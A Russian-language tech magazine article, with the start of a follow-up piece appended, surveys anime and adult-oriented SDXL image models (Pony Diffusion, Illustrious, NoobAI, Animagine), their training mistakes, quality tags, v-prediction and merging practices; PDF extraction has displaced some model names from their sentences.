Говорить мы будем о  технических проблемах и  сложностях, с  которыми
столкнулись разработчики на  этапе глубокого обучения SDXL. О  сделанных
ошибках, в результате которых целый класс моделей (а это многие сотни чек‐
пойнтов) обладает «дистиллированным», выжженным декодером текстовых
запросов. О  возврате к  запросам на  основе формальных тегов в  новых
поколениях моделей, для  которых запросы на  естественном языке играют
вспомогательную роль. О  моделях, обученных на  описаниях, сгенерирован‐
ных другими моделями  — теми, что распознают элементы изображения
и описывают взаимодействия между ними.

Поговорим и о том, почему обученные модели в чистом виде, как правило,
уступают в  качестве моделям‑ремиксам. Обсудим механизмы zero-terminal
SNR и  v-prediction, получившие популярность в  результате публикации
NovelAI, а  вовсе не  после того, как  Stability AI (разработчики архитектуры
Stable Diffusion) выпустили модель CosXL, в  которой эти технологии были
впервые реализованы в рамках SDXL, и уж тем более не после выхода жестко
цензурированной версии .SD 2.0-v 768

АНИМЕ: БАЗОВЫЕ МОДЕЛИ И РЕМИКСЫ

Базовых моделей для  генерации аниме‑изображений всего три, однако
разобраться в  их взаимозависимостях не  так‑то просто. Попробую помочь
тебе немного сориентироваться в этом хаосе.

Итак, три базовые модели для  картинок в  стиле аниме  — это  Pony,
Illustrious и Animagine.

Pony
Прародитель всех моделей Pony — это   за авторством

AstraliteHeart. Эта модель настолько сильно отличалась от  любых других
моделей с архитектурой Stable Diffusion, что удостоилась собственной катего‐
рии на Civitai.

Pony Diffusion V6 XL

На основе Pony создано бесчисленное количество лор, ремиксов и  обу‐
ченных моделей. Так, в крупной обученной модели 

разработчик попытался вернуть отсутствующие в основной модели Pony теги
художников и  персонажей; похожие цели преследовали и  авторы других
подобных моделей  и  . Впрочем,

на фоне многих сотен альтернатив эти модели затерялись; вполне возможно,
что их части ты встретишь в составе ремиксов.

4th tail (anime/hentai)

aaaautismPonyFinetune cashmoneyAnime

Illustrious
Модель  не  использует Pony; она основана на  другой, гораздо
более слабой аниме‑модели Kohaku XL, разработчик которой задался целью
постепенно обучить новую модель, используя обычные игровые видеокарты.
Illustrious получила полноценное обучение на  профессиональном оборудо‐
вании; эта модель и  модели на  ее основе также выделены в  собственную
категорию на Civitai.

Illustrious

А вот дальше начинаются сложности. Изначально разработчики Illustrious
выпустили лишь версию  0.1 (последующие версии уже обучены и  будут
выпущены в  нужное время), результаты работы которой в  чистом виде
не поражают воображение.

Компания Laxhar Dream Lab провела дополнительное обучение, выпустив
модели  и  . Обе эти модели были

моментально интегрированы в состав множества ремиксов.

NoobAI EPS 1.1 NoobAI v-pred 1.0

Помимо Noob, вышло два других обученных варианта:  и  .

По  какой‑то причине они не  получили большой популярности, но  вошли
в состав некоторых ремиксов.

RouWei Initium

Далее вышла версия , получившая возможность в  один
проход генерировать картинки в высоком разрешении (до 2 Мп).

Illustrious 1.0

В результате сейчас в  рамках категории Illustrious существует сразу нес‐
колько параллельных ответвлений, обученных независимыми разработ‐
чиками: Illustrious 0.1, NoobAI EPS 1.1, NoobAI v-pred 1.0, RouWei, Initium и,
наконец, Illustrious 1.0.

Animagine
Animagine  — еще  одна крупная модель для  создания аниме‑изображений.
Версии Animagine 3.0  и  3.1  представляли умеренный интерес, но  версию
Animagine 4.0  разработчики обучили с  нуля, не  используя предшествующие
версии моделей. В  результате «четверка» получилась весьма интересной
и перспективной.

Поговорим обо всех этих моделях подробно.

PONY DIFFUSION: ВО ЧТО ПРЕВРАТИЛАСЬ МОДЕЛЬ ДЛЯ
ГЕНЕРАЦИИ ПУШИСТЫХ ЗВЕРУШЕК

Желание создавать изображения в стиле аниме у пользователей генератив‐
ного искусственного интеллекта было всегда, но возможности для этого дол‐
гое время были ограниченными. Базовая модель Stable Diffusion могла
и может создавать их, но качество и разнообразие оставляет желать лучшего.
Кроме того, Stable Diffusion просто не знает ни имен художников, ни популяр‐
ных персонажей, ни тем более концепций взаимодействий.

WARNING

Все без  исключения модели на  основе Pony
Diffusion способны создавать самые роскомнад‐
зорные картинки. Если тебя это смущает, бросай
читать и прочти молитву.

В результате сеть оказалась переполнена картинками, выполненными
в одном и том же стиле: в качестве «аниме» предлагались бесконечные изоб‐
ражения жукоглазых млекопитающих в стиле псевдо-3D. Несмотря на то что
млекопитающие могли быть разными, практически все модели выдавали
одно и  то же лицо двенадцатилетней девочки‑подростка, которое быстро
примелькалось.

Прорыв в  генерации аниме‑изображений совершил разработчик
под  ником AstraliteHeart в  начале  2024  года. Арендовав на  три месяца нес‐
колько мощных рабочих станций, он провел глубокое обучение базовой
модели SDXL, использовав изображения из  обширного набора Danbooru
Anime Dataset (в ход пошла лишь небольшая их часть), аннотированных
тегами стандарта Danbooru. Результат получился более чем убедительный:
модель точно следовала запросу, генерируя именно то, на  что указывали
теги, и прекрасно понимала и воспроизводила всевозможные варианты вза‐
имодействий между персонажами, включая экзотические.

Спустя короткое время восторги вокруг новой модели утихли и  начали
всплывать недостатки, которых оказалось на удивление много.

Во‑первых, в  процессе обучения автор модели «выжег» текстовый
декодер. Теги Danbooru модель понимает, и  понимает хорошо, но  способ‐
ность декодировать запросы, сделанные на  естественном языке, Pony
Diffusion V6 почти полностью утратила.

Это стало далеко не  единственной проблемой с  текстовым декодером.
Так, из  «этических» соображений автор модели удалил имена как  большей
части персонажей (хотя некоторые остались), так и  всех художников.
В  результате информация о  разных изобразительных стилях осталась
в  модели UNet, но  добраться до  них через текстовый запрос было невоз‐
можно.

Чтобы генерировать картинки в нужном стиле и создавать конкретных пер‐
сонажей, пользователи вынуждены были создавать лоры, многие из которых
отличались очень компактным размером, ведь все, что было нужно,  —
это направить процесс генерации в сторону уже встроенного в UNet стиля.

Не вдохновлял и  результат, который получался при  генерации картинок
с  настройками по  умолчанию. Модель вела себя непредсказуемо, в  пос‐
ледовательных генерациях выдавая картинки, выполненные в  разных изоб‐
разительных стилях. Модель не  блистала и  разнообразием фонов, как  не
блистает им большинство картинок из набора Danbooru Anime Dataset.

Наконец, автор модели допустил еще один крупный промах, который стал
буквально визитной карточкой модели.

SCORE_9, SCORE_8_UP И ПРОЧИЕ НЕПРИЯТНОСТИ

Если ты когда‑нибудь использовал Pony Diffusion для генерации изображений
или просматривал метаданные созданных другими пользователями картинок,
то мог заметить теги вроде , , . Что это  —

очередные заклинания вроде «bad hands» или реальные токены, помогающие
повысить качество картинки? Давай разберемся, как они появились и как их
правильно использовать.

score_9 score_8_up score_7_up

В модели Pony Diffusion есть специальные теги, не  входящие в  набор
Danbooru, они указывают на  желаемое качество изображения. По  задумке
автора, чтобы получить самую качественную картинку, достаточно было  бы
добавить к запросу токен . Токен  должен был означать,
что пользователь хочет получить картинку с  качеством  8  или  больше;

 допускало изображения с рейтингом от 4 до 9 включительно. То

есть автор задумывал обучить модель концепции «больше или равно», но на
самом деле модели так не работают.

score_9 score_8_up

score_4_up

К тому же автор допустил ошибку при обучении модели. Вместо того что‐
бы привязывать к  каждому изображению единственный тег, к  картинкам
с рейтингом 9 добавлялись также все токены из серии «8 и выше», «7 и выше»
и  так до  четырех включительно. То есть, если картинка получила ,

вместе с  этим тегом она также получила ,  и  так

далее. Из‑за этого модель запомнила, что самые качественные изображения
всегда идут с  длинной строкой тегов, а  не с  одним нужным. Теперь, чтобы
получить картинку высокого качества, приходится прописывать сразу все теги
score.

score_9
score_8_up score_7_up

Для чего вообще нужны были теги качества? Дело как  в разнообразии
выдачи (аналог  — гламурное фото с глянцевой обложки), так и в том,

что для определения того, что такое «хорошо», модели необходимо знать, что
такое «плохо». Эту задачу автору модели удалось решить, о чем он впоследс‐
твии написал , в  которой откровенно рассказал как  о процессе обу‐
чения, так и о сделанных ошибках.

score_9

статью

В итоге теги ,  и  далее по  списку стали привычным

способом повышения качества изображений, которые генерируют модели
на основе Pony Diffusion. Указывать всю строку однозначно имеет смысл, если
ты используешь Pony Diffusion V6. Если же тебе понравилась какая‑нибудь
из современных моделей семейства Pony, автор которой либо провел допол‐
нительное обучение, либо включил обученные модели в  состав ремикса, то
в этих тегах, возможно, уже не будет необходимости.

score_9 score_8_up

Несмотря на  все перечисленное, модель Pony мгновенно затмила все
другие модели для  генерации картинок в  стиле аниме. На  ее основе вышли
десятки обученных моделей и сотни ремиксов, авторы которых в той или иной
мере исправляли ее недостатки, добавляли стиль по  умолчанию, разнооб‐
разили фон.

А недолгое время спустя начали появляться и фотореалистичные модели
на  основе Pony, в  которых варианты взаимодействий, описываемые тегами
Danbooru, переносились на  более или  менее реалистично выглядящих пер‐
сонажей.

Несмотря на  то что Pony основана на  архитектуре SDXL, у  моделей
на  основе Pony Diffusion V6  есть даже собственная категория на  Civitai  —
такая же, как у SD1.5, SDXL или Flux. Так, в модели 4th tail 0.5.0 исправлены
практически все недостатки исходной Pony Diffusion. В  ней доступны стили
почти всех художников, у которых на Danbooru есть хотя бы несколько десят‐
ков изображений, и огромное число персонажей.

Поддерживаются и  базовые теги стилистики изображений. Набор сле‐
дующий:

2.5d, bold line, smooth shading, flat colors, minimalistic, cgi, 
digital painting, ink style, oil style, pastel style


Текстовый декодер был обучен на  нескольких сотнях тысяч изображений,
снабженных обычными текстовыми описаниями в  дополнение к  тегам.
Наконец, вместо тегов score автор использовал простые и  понятные теги
masterpiece, best quality, low quality, worst quality, использование которых
необязательно.

У 4th tail есть особенность: если указать в начале запроса один или нес‐
колько тегов  (где   — имя художника
из  Danbooru), то результат получится лучше, чем без  них. Такой же особен‐
ностью обладают и модели на основе Illustrious.

by artist_name artist_name

Несмотря на  то что в  качестве базовой модели для  генерации ани‐
ме‑изображений тема Pony практически исчерпана, опыт от  ее обучения,
которым поделился разработчик, стал воистину бесценным. На ошибках пер‐
вопроходца смогли научиться авторы последующих моделей.

ILLUSTRIOUS: «НЕЭТИЧНАЯ» АЛЬТЕРНАТИВА ОТ КОРЕЙСКИХ
РАЗРАБОТЧИКОВ

AstraliteHeart, автор модели Pony Diffusion, захешировал имена авторов
и большинства персонажей из набора Danbooru Anime Dataset, мотивировав
свое решение этическими соображениями. А  вот команда разработчиков
из Кореи  излишним морализаторством не страдала:
взяв за основу аниме‑модель Kohaku XL Beta 5 и набор данных 
(около четырех миллионов изображений, взятых с Danbooru, общим объемом
порядка 8 Тбайт), они обучили совершенно новую аниме‑модель — Illustrious.
Почитать о  планах разработчиков и  о том, как  создавалась модель, можно
на   на сайте Hugging Face.

Onoma AI Research Team
Danbooru2023

странице проекта
Итак, в  сентябре  2024-го, спустя девять месяцев после выхода Pony

Diffusion V6  с  сотнями ремиксов и  тысячами лор, была опубликована новая
аниме‑модель Illustrious XL 0.1. Она при этом была откровенно сырой; качес‐
тво генерируемых изображений хромало и заметно уступало любому из мно‐
гочисленных ремиксов Pony. В то же время модель обладала мощным потен‐
циалом; на ее основе тут же начали выходить ремиксы.

Лицензия на  модель Illustrious довольно интересна. Пользователи могут
делать как с созданными изображениями, так и с самой моделью практически
все, что угодно, вплоть до  ее перепродажи. Единственное ограничение  —
авторы ремиксов обязаны указывать «рецепт»: состав ремикса и  алгоритм
микширования. Сообщество разработчиков свято соблюдает лицензию в той
части, которая говорит «можно», но  это единственное ограничение обычно
игнорируется.

Результат работы типичного ремикса

Некоторое время спустя компания  решила отшлифовать
модель, проведя дополнительное обучение на расширенном наборе данных
с Danbooru (с отсечкой на 2024-10-23) и наборе данных e621.

Laxhar Dream Lab

В итоге после нескольких бета‑версий в  конце  2024  года вышла модель
NoobAI-XL Epsilon-pred 1.1, на  основе которой также созданы многочис‐
ленные ремиксы.

Ремикс fiamixIllustriousXL

Однако на этом разработчики Laxhar не остановились. Они обучили и выпус‐
тили модель с  альтернативным типом предсказаний  — v-prediction. Сделать
это  их подвигла работа,  на  сайте Arxiv.org командой соз‐
дателей NovelAI Diffusion  — одной из  моделей для  генерации аниме‑изоб‐
ражений.

опубликованная

Предсказания v-pred и подход Zero Terminal SNR позволили достичь сразу
нескольких целей: более точного следования запросу, улучшенной детали‐
зации и, что сразу бросается в глаза, более широкого динамического диапа‐
зона в плане как контраста, так и цветового охвата. Иными словами, модель
с v-pred и ztSNR способна создавать более сочные, контрастные и насыщен‐
ные изображения с  меньшим числом характерных для  ИИ дефектов и,
наконец, глубоким черным цветом.

Как это работает на практике? Примерно так, как описано. Ранние версии
моделей с  v-pred страдали от  избыточного контраста и  насыщенности даже
на  низких значениях CFG (вплоть до  того, что некоторые цвета «выгорали»
до черноты), а «более точное следование запросу» приводило к уменьшению
разнообразия генераций. Со  временем с  этими проблемами научились
справляться, а современные ремиксы на основе v-pred и вовсе сложно отли‐
чить от  традиционных аналогов. В  то же время однозначно рекомендовать
только модели с  v-pred я не  могу: выбор моделей с  EPS-prediction намного
больше, и  качественные варианты среди них, соответственно, тоже встре‐
чаются чаще.

В феврале  2025-го разработчики Illustrious опубликовали первую релиз‐
ную версию модели, Illustrious XL 1.0. Новая версия модели (она не  исполь‐
зует код из NoobAI) обучалась на изображениях с повышенным разрешением;
соответственно, с  ее помощью можно создавать картинки в  разрешении
до 2К включительно (например, 1536 на 1536 или 1248 на 1824, но, разуме‐
ется, не только). Как это часто бывает с обученными моделями, пользоваться
чекпойнтом в чистом виде проблематично, но уже начали появляться первые
ремиксы, среди которых есть несколько качественных.

Один из ремиксов с участием Illustrious 1.0

ANIMAGINE XL 4.0

Аниме‑модель Animagine 3.0  вышла примерно в  то же время, что и  Pony
Diffusion V6, но ни эта версия, ни следующая за ней Animagine 3.1 не смогли
обойти модели Pony по  популярности. Сильными сторонами Animagine счи‐
тались общая эстетика генерируемых изображений, качество и  разнооб‐
разие вариантов фона, хорошее знание стилей и персонажей. Зато у модели
хорошо выходили картинки ; все остальное отдавалось на откуп Pony.1girl

В феврале  2025-го вышла новая серия . Разработчики
из CagliostroLab решили полностью переделать модель, отказавшись от ста‐
рых наработок и  начав обучение с  нуля. Для  обучения использовали набор
из  8,4  миллиона изображений (отсечка  — 7  января  2025  года). Выпустили
сразу три версии модели: сперва стандартную Animagine 4.0, потом версию
Opt (Optimized) и Zero.

Animagine 4.0

Animagine 4.0 Zero играет роль базовой модели, на  основе которой дол‐
жны создаваться ремиксы и  проводиться дальнейшее обучение. В  «опти‐
мизированной» версии Animagine 4.0 Opt разработчики постарались сделать
так, чтобы результат генерации выглядел эстетически привлекательным даже
без указания стиля. Соответственно, для генерации картинок лучше исполь‐
зовать или ее, или один из ремиксов на базе Animagine.

Пара картинок, сгенерированных разными моделями на базе Animagine
4

Animagine заметно отличается от Illustrious 0.1 как в плане разнообразия, так
и в плане изобразительных стилей, но пока что сложно с уверенностью ска‐
зать, лучше она или хуже в качестве базовой модели. Ранние ремиксы на ее
основе обнадеживают; модель способна генерировать качественные изоб‐
ражения и обладает всеми необходимыми знаниями как стилей художников,
так и персонажей.

Продолжение статьи
→
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ЗАПРЯГАЕМ В ОДНУ ТЕЛЕГУ КОНЯ И ТРЕПЕТНУЮ ЛАНЬ:
ФОТОРЕАЛИСТИЧНОЕ АНИМЕ

Можно ли добиться реалистичности изображений, микшировав модель
на  основе Pony с  реалистичной моделью на  базе SDXL? Этот вопрос начал
волновать пользователей сразу после выхода Pony Diffusion V6, и практически
сразу начали появляться ремиксы. Первые результаты были откровенно
неудачными («эффект зловещей долины» в  полный рост), но  со временем
пользователям удалось создать целый ряд фотореалистичных моделей
на основе Pony. Их легко найти: на Civitai все такие модели отнесли в катего‐
рию Pony, а не SDXL 1.0.

Как выбрать качественную модель этого типа? Рекомендовать тот
или  иной чекпойнт я не  решусь; они разные и  в то же время во  многом
похожи. Ориентироваться на  популярность или  количество скачиваний
не стоит; по этим параметрам прочно лидирует базовая модель Pony Diffusion
XL, качество которой ниже современных ремиксов. Работает правило
«новее — лучше»; более‑менее приличные модели фотоаниме начали появ‐
ляться в сентябре — октябре 2024-го, и с тех пор их качество только росло.
Стоит изучить модели, вышедшие в  последние несколько месяцев. Можно
обратить внимание и на число версий выбранной модели, но не обязательно:
в  свежие ремиксы часто входят уже отобранные автором качественные
модели.

Разумеется, не обходится без исключений: в некоторых моделях весовые
коэффициенты SDXL превалируют над  весовыми коэффициентами Pony,
в результате чего такие модели собирают в себе худшие черты обеих архи‐
тектур. Существует множество «гибридных» моделей, авторы которых
попытались пойти простым путем, микшировав какую‑нибудь «реалистичную»
модель Pony с  фотореалистичной моделью SDXL. Как  правило, в  таких слу‐
чаях страдает или  реалистичность («эффект зловещей долины»), или  спе‐
цифические возможности Pony (и тогда получается обычная модель невысо‐
кого качества). Единственное известное мне исключение — модель 

, автор которой попытался взять от  Pony Diffusion ровно столько, сколько
было нужно для совместимости с лорами и текстовыми инверсиями Pony.

Big Love

XL

Плохо и обратное, когда «слишком много Pony», — это приводит к проб‐
лемам с  анатомическими пропорциями, неестественному освещению, стан‐
дартным, не  отличающимся разнообразием фонам и  полному игнориро‐
ванию концепций, не  вписывающихся в  тесные рамки  18+. Вместо моделей
такого типа стоит обратить внимание на  полуреалистичные, в  которых «кли‐
нический» реализм уступил место фантазии и разнообразию.

Многие фотореалистичные модели на базе Pony похожи до степени сме‐
шения — что неудивительно с учетом того, что в их основе часто лежат одни
и те же модели, смешанные в разных пропорциях. Соответственно, в отличие
от ситуации с SDXL, количество не равно разнообразию.

Наконец, еще  одна  автора фотореалистичной модели
Lustify: для получения действительно фотореалистичных изображений можно
использовать гибридный подход. Помнишь, в  статье «

» я рассказывал о рефайнерах?

рекомендация

Stable Diffusion XL.
Выбираем модели, рефайнеры, лоры и стили

Напомню: рефайнер  — это  вторая модель SDXL или  даже SD1.5,
на  которую можно переключиться посреди генерации. Автор рекомендует
на  первых шагах генерации использовать какую‑нибудь фотореалистичную
модель Pony и в определенный момент переключиться на рефайнер, в качес‐
тве которого может выступать, к примеру, его модель Lustify. Таким образом,
модель Pony задает сюжет и  общие контуры сцены, а  модель‑рефайнер
заполняет сцену содержимым и  отрисовывает детали, в  том числе такие,
которые неизвестны моделям Pony.

Если ты будешь использовать гибридный подход, то и  сегментацию,
и  детализацию частей изображения ADetailer нужно тоже делать второй
моделью. Наконец, чтобы не  тратить время на  постоянное переключение
между двумя моделями, имеет смысл изменить настройку Maximum number
of  checkpoints loaded at  the same time (в настройках reForge → Settings →
Stable Diffusion), установив ее в значение 2.

Для экономии видеопамяти можно дополнительно активировать настройку
Only keep one model on  device (will keep models other than the  currently used
one in RAM rather than VRAM); в этом случае в видеопамяти будет храниться
только одна модель, а вторая — подгружаться из RAM. В текущей реализации
reForge включение этой настройки приводит к  утечке памяти, поэтому
выбирать ее стоит только тогда, когда в видеопамять твоей карты обе модели
сразу не помещаются.

СЛЕГКА РЕАЛИСТИЧНОЕ АНИМЕ И 3DCG

Отдельно стоит отметить модели, авторы которых отказались от  полной
фотореалистичности, вместо этого взяв за  образец примеры, созданные
посредством  3D-моделирования. Такие модели, как  правило, дают сущес‐
твенно более стабильный и  одновременно разнообразный результат
по  сравнению с  чекпойнтами, ориентированными на  фотографический
реализм. В них с большей вероятностью можно сгенерировать иллюстрацию
в  фантастическом или  фэнтезийном антураже, тогда как  возможности
фотореалистичных моделей в  плане фона разнообразием и  полетом фан‐
тазии, как правило, похвастать не могут — в силу того материала, на котором
они обучались. Впрочем, и  из этого правила бывают исключения  — нап‐
ример, модели CinEro Pony (и ее ответвление Xenero) или Cyberrealistic Pony.

Так выглядит «частичный реализм», модель darkmixSemiRealistic

Вероятно, самое популярное направление «частичного» реализма  —
это  стиль  2.5D, в  котором изначально двумерным персонажам придается
иллюзия объема при помощи светотени. С ростом реалистичности картинка
постепенно становится трехмерной, а  дальнейшая эволюция в  том же нап‐
равлении приводит к созданию... нет, не фотореалистичных, а «гиперреалис‐
тичных» изображений, идеализированных детальных «рендеров».

Так выглядит стиль 2.5D в исполнении модели prefectIllustriousXL

Начать знакомство с моделями этого типа стоит с обученного чекпойнта 

и  ремикса , которые отличаются высоким качеством
картинки, разнообразием и  детализацией фона и, наконец, визитной кар‐
точкой  2DN  — возможностью создавать темные иллюстрации. Это  важно!
В большинстве ранних «реалистичных» моделей на основе Pony Diffusion пер‐
сонажи всегда выглядели ярко освещенными  — независимо от  цвета фона
и общего уровня освещения иллюстрации.

2DN

virtualDiffusionPony

INFO

В стиле гиперреализма можно попробовать
модель .dtfmixHyperrealism

А ФОТОРЕАЛИСТИЧНЫЕ МОДЕЛИ ILLUSTRIOUS БЫВАЮТ?

Они понемногу появляются, но  пока это  направление в  самом начале пути.
Качество фотореалистичных моделей Illustrious пока что находится на уровне
ранних «реалистичных» версий Pony. На март 2025 года существует несколь‐
ко десятков фотореалистичных моделей Illustrious (на фоне сотен у  Pony),
из  которых внимания достойны единицы, да  и то не  за качество или  прав‐
доподобность, а за оригинальность результата.

Модель cineroIllustrious_v3

Модель cyberillustrious_v20

Актуальные реалистичные модели Illustrious отличаются большим разнооб‐
разием как в плане вариантов стилистики, так и по композиции — но и (пока
что) меньшей стабильностью. Ситуация может измениться уже в ближайшие
недели и месяцы; сбрасывать эти модели со счетов мы не будем.

А ФОТОРЕАЛИСТИЧНЫЕ МОДЕЛИ ANIMAGINE?

И таких моделей... всего две или  три штуки. Стоит обратить внимание
на интересную модель , обученную на базе Animagine 4.0.anim4gineAura

СКРЕСТИТЬ УЖА С ЕЖОМ

Скрестить Pony с фотореалистичными моделями SDXL оказалось проще, чем
сделать работоспособный ремикс нескольких аниме‑моделей, обученных
разными авторами.

В результате  двух моделей глубокого
обучения Animagine 4.0  и  NoobAI Eps 1.1  получилась полностью нерабочая
модель, в  принципе неспособная генерировать какие‑либо изображения.
Чтобы все‑таки объединить модели, автор использовал метод взвешенного
усреднения Фишера, описанный в работе 

. Результат можно оценить, попробовав модель noobai-animagine-
mad-hatter_const-debiased-stochastic-7k. Забегая вперед, скажу, что резуль‐
тат не вдохновляет.

экспериментального микширования

Merging Models with Fisher-Weighted
Averaging

Другой автор сумел объединить модели сразу трех архитектур: Animagine,
NoobAI и Pony. В первой версии модели Age of Chimeras автор использовал
Animagine 3.1, во второй — Animagine 4.0 и несколько реалистичных моделей.
На  выходе  — специфические, довольно нестабильные, но  уникальные
модели, способные создавать детальные изображения в необычной стилис‐
тике (теги художников, кстати, поддерживаются). Если будешь эксперимен‐
тировать, начинай с третьей версии модели: ее качество на высоте.

Пара картинок, сгенерированных разными версиями модели Age
of Chimeras

Тем не  менее подобные эксперименты пока что остаются именно экспе‐
риментами. Ремиксы, сделанные в  рамках одной архитектуры, отличаются
более высоким качеством и стабильностью.

БЛИЖАЙШЕЕ БУДУЩЕЕ

Прогнозы в  таких быстро развивающихся областях, как  искусственный
интеллект, — дело неблагодарное, однако в контексте «моделей для взрос‐
лых» тенденции прослеживаются достаточно прозрачные.

В глобальном плане нас ожидает разделение моделей на «продвинутые»
и  «безопасные», причем степень «безопасности» будут определять
как  чиновники, так и  корпорации, стоящие за  разработкой. В  то же время
«продвинутые» модели, вероятно, будут приходить к  нам с  востока либо
появятся в результате работы анонимных команд и одиночных разработчиков.
Illustrious появилась благодаря усилиям корейских исследователей, а весьма
откровенную модель для  генерации видеороликов HunyuanVideo создали
под эгидой китайской мегакорпорации Tencent.

Pony
Аниме‑модели на  базе Pony Diffusion, вероятно, достигли пика своего раз‐
вития; скорость выхода новых ремиксов заметно снизилась, но время от вре‐
мени появляются интересные ремиксы и  даже обученные модели, часть
из  которых создают сами художники. В  то же время попытки скрестить ужа
с  ежом, совместив в  гибридных моделях реализм SDXL с  гибкостью Pony,
будут продолжаться. Уже сейчас есть довольно убедительные гибриды, но в
этой области потенциал роста далеко не исчерпан.

Animagine
Разработчики Animagine недавно выпустили четвертую версию модели,
которую обучили заново, не использовав наработки из Animagine 3.1. О даль‐
нейших планах разработчики не  сообщали, но  уже то, что Animagine 4  дос‐
тупна как  в «оптимизированной» Opt, так и  в «базовой» версии Zero, соз‐
данной специально для использования в ремиксах, говорит о том, что вполне
возможно появление еще одной крупной ветки аниме‑моделей для взрослых.
Пока этого не  произошло, а  удачные ремиксы можно сосчитать на  пальцах
одной руки, но перспективы у модели просматриваются.

Illustrious
Самый четкий план  — у  команды разработчиков модели Illustrious. Уже обу‐
чены следующие версии модели:

v0.1 — обучение завершено в мае 2024 года;•
v1.0 — июль 2024 года;•
v1.1 — август 2024 года;•
v2.0 — сентябрь 2024 года;•
v3 — ноябрь 2024 года;•
v3.5 — версия v-pred.•

Бета‑версию модели 0.1 выложили в свободный доступ в сентябре 2023-го.
Первый официальный релиз  1.0  опубликовали в  феврале  2024-го, а  всего
несколько дней спустя выложили версию  1.1. По  словам разработчиков,
новые версии модели будут выкладываться в публичный доступ постепенно;
четких сроков нет, но, вероятно, это будет происходить в течение 2025 года.
Цель разработчиков — подробно документировать процесс обучения и пуб‐
ликовать научные работы. Например:

;• Illustrious: an Open Advanced Illustration Model
.• Improving Text Generation on Images with Synthetic Captions

Новые версии модели позволят в один проход и без использования RAUNet
генерировать изображения в  более высоком по  сравнению со  стандартом
SDXL разрешении. В  Illustrious XL 1.0  уже можно создавать кар‐
тинки  1536  на  1536  и  практически в  любых других вариациях с  общим раз‐
решением  2К (в качестве примера разработчики указали  1248  на  1824),
при этом, в отличие от моделей на основе версии 0.1 и всех версий NoobAI,
на  изображении не  возникает дублирующихся объектов. Это  действительно
работает даже сейчас, а в следующих версиях модели обещали картинки раз‐
мером до 4К (2048 на 2048). И разумеется, ожидается выход многочисленных
моделей, включающих в свой состав соответствующие версии Illustrious.

NoobAI
Обучение моделей NoobAI командой Laxhar Lab завершено; финальными ста‐
ли версии Noob 1.1 EPS и  1.0 v-pred. На  их основе создаются и  будут соз‐
даваться многочисленные новые модели и ремиксы. В то же время создатели
исходной модели Illustrious уже  Laxhar Lab за неэффективное
использование машинного времени и  не лучший выбор набора данных,
на котором проводилось обучение (NoobAI обучали на наборе изображений
с разрешением 1К, а не более высоких, как это сделала корейская команда).

покритиковали

ВЫВОДЫ

Продукты для  взрослых  — мощный двигатель прогресса, и  модели искусс‐
твенного интеллекта здесь вовсе не  исключение. Создатели таких моделей
мотивированны и  целеустремленны, а  результатом их работы становятся
не  только (и даже не  столько) готовые модели, но  и приобретенный опыт
и  знания, которыми разработчики охотно делятся в  научных публикациях.
Метод Фишера, v-prediction, zero-terminal SNR и  многие другие разработки,
пришедшие прямиком из моделей для взрослых, — все это находит примене‐
ние и в других областях.

https://civitai.com/articles/6651/refining-ponynoobai-models-with-sdxl15-for-full-realism-the-right-way
https://xakep.ru/2024/03/14/sdxl-fine-tuning/
https://huggingface.co/ljleb/noobai11-animagine4
https://arxiv.org/abs/2111.09832
https://arxiv.org/html/2409.19946v1
https://arxiv.org/html/2406.00505
https://arca.live/b/aiart/128741254?mode=best&p=1


Олег Афонин
Эксперт по мобильной

криминалистике компании
«Элкомсофт»

aoleg@voicecallcentral.com

GEEK

Stable Diffusion XL до  сих пор остается
самой популярной архитектурой генератив‐
ного ИИ. Не в последнюю очередь популяр‐
ность SDXL объясняется наличием несколь‐
ких крупных моделей и многих тысяч ремик‐
сов, созданных для  генерации самых раз‐
ных «картинок для взрослых».

На сегодняшний день число чекпойнтов с  рейтингом  18+ на  популярных
ресурсах Civitai и  Tensor.art кратно превышает количество моделей, не  име‐
ющих представления об  анатомических особенностях представителей homo
sapiens. Особенно заметным перекос становится, если отфильтровать
модели по  дате последнего обновления. Что случилось? У  пользователей
неожиданно изменились предпочтения  — или  же всего год с  небольшим
назад SDXL просто не  умела делать то, чего от  нее ожидала аудитория?
В  этой статье мы рассмотрим сложный путь, который пришлось преодолеть
первопроходцам, обучившим дряхлеющую архитектуру новым трюкам.

ЧЕГО НЕ БУДЕТ В ЭТОЙ СТАТЬЕ

Так же как и в  , посвященной созданию изображений в стиле
аниме, в  сегодняшнем тексте не  предусмотрены картинки с  рейтингом «три
икса»  — даже за  пейволом. Не  будет ссылок на  модели класса  18+, как  не
будет и  подробных инструкций или  примеров запросов, позволяющих
генерировать соответствующий контент; в целом те же ограничения, что и в
прошлый раз.

прошлой статье

ОБУЧЕННЫЕ МОДЕЛИ И РЕМИКСЫ

В статье « » я
рассказал о том, что базовые модели бывают как обученными на новых дан‐
ных, так и ремиксами, созданными на основе существующих моделей и лор.
С точки зрения пользователя, обученные модели интереснее: они привносят
элемент уникальности.

Stable Diffusion XL. Выбираем модели, рефайнеры, лоры и стили

Модели, обученные на  больших объемах данных, вносят разнообразие
в результаты генерации. Например, модели, обученные на большом количес‐
тве фотографий с  лицами, с  большей вероятностью сгенерируют лицо,
которое не примелькалось на сотнях виденных тобой изображений, и наобо‐
рот: модели‑ремиксы чаще генерируют усредненных персонажей со стандар‐
тными, усредненными лицами. Чем больше моделей входит в состав ремик‐
са, тем с  большей вероятностью получившаяся в  результате модель будет
выдавать результат, неотличимый от того, что делают другие модели.

Все это так, но в контексте создания изображений без цензуры на первый
план выходят совсем другие соображения. Существует несколько (всего око‐
ло полутора десятков, даже с учетом рисованных моделей) крупных базовых
моделей, которые в течение длительного времени (и множества «эпох») обу‐
чались на больших массивах изображений.

Каждая такая модель уникальна; при  ее использовании будут получаться
результаты, заметно отличающиеся от других. И в то же время использовать
такие модели на  практике, вероятно, не  стоит: как  правило, они капризны
в плане текстовых запросов, а выдаваемый ими результат при всей уникаль‐
ности будет далеким от  идеала. Это  относится и  к реалистичной базовой
модели bigASP, и  к «рисованной» Pony Diffusion V6, и  к базовой модели
Illustrious 0.1 и 1.0, и даже к обученным на основе Illustrious крупным моделям
NoobAI и  RouWei, создатели которых потратили существенные ресурсы
на улучшение оригиналов, о которых рассказывалось в предыдущей статье.

Со временем определились как более, так и менее удачные комбинации
моделей, при включении которых в состав ремикса взаимно компенсируются
их недостатки. Для моделей на базе Pony число ремиксов исчисляется мно‐
гими сотнями; многие из  них не  только стабилизируют исходную базовую
модель, но  и компенсируют ее недостатки  — такие как  слабая работа
с фоном.

Моделей на основе Illustrious (а точнее, на основе ее производной NoobAI)
